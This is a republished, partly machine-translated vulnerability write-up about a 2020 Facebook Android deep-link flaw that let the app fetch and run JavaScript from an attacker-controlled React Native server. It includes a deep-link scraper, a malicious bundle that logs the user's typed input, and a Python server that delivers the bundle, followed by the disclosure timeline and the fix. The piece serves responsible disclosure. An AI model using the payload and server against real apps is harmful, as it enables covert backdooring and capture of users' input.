How to use deep linking to backdoor Facebook APP

WBOY
Release: 2023-05-19 14:49:36
forward
1545 people have browsed it

Recently, the author discovered a deep link vulnerability in the Facebook Android APP. Using this vulnerability, the Facebook Android APP installed on the user's mobile phone can be converted into a backdoor program (Backdoor) to achieve backdooring. In addition, this vulnerability can also be used to repackage the Facebook application and send it to selected target victims for installation and use. Let’s take a look at the author’s discovery process of this vulnerability, and how it was ultimately transformed into a security risk in the actual production environment of Facebook APP through Payload construction.

Vulnerability Discovery

Usually when doing public testing, I will first carefully understand the application mechanism of the target system. In my last blog, I have shared some experience of discovering deep links (deeplinks) in FB4A parameter applications by parsing Facebook APP. Here, I will first share a script file I wrote, which can Automatically discover Facebook APP deep links (deeplinks). The script file is - Facebook Android Deeplink Scraper (FBLinkBuilder.py), which is a Python-based code program dedicated to extracting deep links (deeplinks) from Facebook APK:

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi
Copy after login

Download source: https:// github.com/ashleykinguk/FBLinkBuilder/

Usage: .\FBLinkBuilder.py -i fb0409.apk

By running FBLinkBuilder.py, we can compare Deep links that appear between different APP versions are used to observe changes in application services of different APP versions. I used this method to discover an unsafe deep link in the 2020 version of Facebook APP: fb:/ /rnquantum_notification_handler/?address=, which was added to the Facebook APP for the first time in the 2020 version.

The parameter form of the deep link is hostname/ip, so I used my own server 192.168.0.2 to do a test: fb://rnquantum_notification_handler/?address=192.168.0.2 :8224, through this link, the following pop-up window will pop up in the Facebook APP:

如何利用深度链接方式后门化Facebook APPAfter clicking the "Enable Quantum" button, the Facebook APP will be restarted. After that, I tried to I noticed some changes, but nothing seemed out of the ordinary. Next, I turned my attention to the network traffic. At that time, I thought of the white hat testing function that Facebook had opened for security researchers not long ago. Security researchers can use this function to temporarily bypass Facebook's Certificate Pinning (Certificate Pinning). ) and other security restrictions to test the network traffic of Facebook-related applications. I used the white hat testing function and found that after performing the above operations, the Facebook application will issue the following outgoing link request:

http://192.168.0.2:8224/message?device=Android SDK built for x86 - 10 - API 29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

The first request mechanism here is Pass the mobile device attribute information based on it and intend to establish a websocket connection; the second request returns the status information of the requesting host packager-status:running, which is a built-in parameter of Facebook's react-native source code. You can refer to Github: /com /facebook/react/devsupport/DevServerHelper.java.

And when I tried every means to construct a response message in my own server 192.168.0.2, I discovered another request generated by the Facebook APP:

http://192.168 .0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

The purpose of this request is to find the FB4A parameters stored in the package file. According to preliminary analysis, this parameter should It is stored in the Facebook APP in clear text instead of the usual hbc* format. I tried entering FB4A parameters in hbc* format for testing, but it ended up crashing the Facebook APP.
In fact, for Facebook APP, before 2019, its packaging files (bundles) were stored in a formal file in the /assets/ directory, but after 2019, Facebook introduced the hbc format (*Hermes ByteCode), on the one hand to slim down the APK, and on the other hand to prevent the core code from being made explicit. Although I tried to use the hbc format tool HBCdump to generate a package file of about 250M for the Facebook APP, it seemed to be of no use.

Hijacking Facebook APP

After that, I thought of another way to find the packaged file: that is by looking at the old version of Facebook APP and comparing the plaintext package content and errors generated by the mobile device. Messages are compared, and error messages generated by mobile devices can be seen through logcat. After a comparison, I found the following clues:

__fbBatchedBridge - a necessary object in the package file, which contains various functional components synchronized with the APP application;

__fbBatchedBridge.callFunctionReturnFlushedQueue - The function called by the APP background will execute the corresponding action or event every time it is called.

Based on the above findings, my idea is to enable Facebook APP to successfully download and execute the package file I constructed. In order to achieve this purpose, I need to write the package file myself and then host it on my In the self-hosted host 192.168.0.2. The following is the package file FB4abundle.js I constructed:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};
Copy after login

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()
Copy after login

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

The above is the detailed content of How to use deep linking to backdoor Facebook APP. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:yisu.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!